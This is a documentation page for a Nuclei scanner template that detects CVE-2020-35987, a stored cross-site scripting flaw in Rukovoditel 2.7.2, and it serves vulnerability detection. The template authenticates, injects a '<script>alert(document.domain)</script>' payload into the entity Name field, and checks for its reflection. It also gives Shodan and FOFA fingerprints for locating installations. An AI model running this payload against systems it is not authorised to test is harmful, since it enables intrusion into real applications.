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Rukovoditel <= 2.7.2 - Cross-Site Scripting

ID: CVE-2020-35987

Severity: medium

Author: r3Y3r53

Tags: cve,cve2020,rukovoditel,xss,stored-xss,authenticated

Description

Section titled “Description”

A stored cross site scripting (XSS) vulnerability in the ‘Entities List’ feature of Rukovoditel 2.7.2 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload entered into the ‘Name’ parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2020-35987


info:
  name: Rukovoditel <= 2.7.2 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A stored cross site scripting (XSS) vulnerability in the 'Entities List' feature of Rukovoditel 2.7.2 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload entered into the 'Name' parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade Rukovoditel to a version higher than 2.7.2 or apply the vendor-provided patch to mitigate the XSS vulnerability.
  reference:
    - https://github.com/r0ck3t1973/rukovoditel/issues/1
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35987
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-35987
    cwe-id: CWE-79
    epss-score: 0.00127
    epss-percentile: 0.47225
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:2.7.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2020,rukovoditel,xss,stored-xss,authenticated


http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=entities/&action=save HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        form_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0&notes=test


    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(content_type_3, "text/html")'
          - 'contains(body_3, "<script>alert(document.domain)</script>")'
          - 'contains(body_3, "rukovoditel")'
        condition: and


    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true
# digest: 4a0a004730450220390f4b65bec3732f26f98fa32780537069863655158ded1fbded96a752ce23ef0221009f97b3cb736d2b23b26838373309490789494eb2d24336fc3e7b58d90f73cbd8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-35987.yaml"

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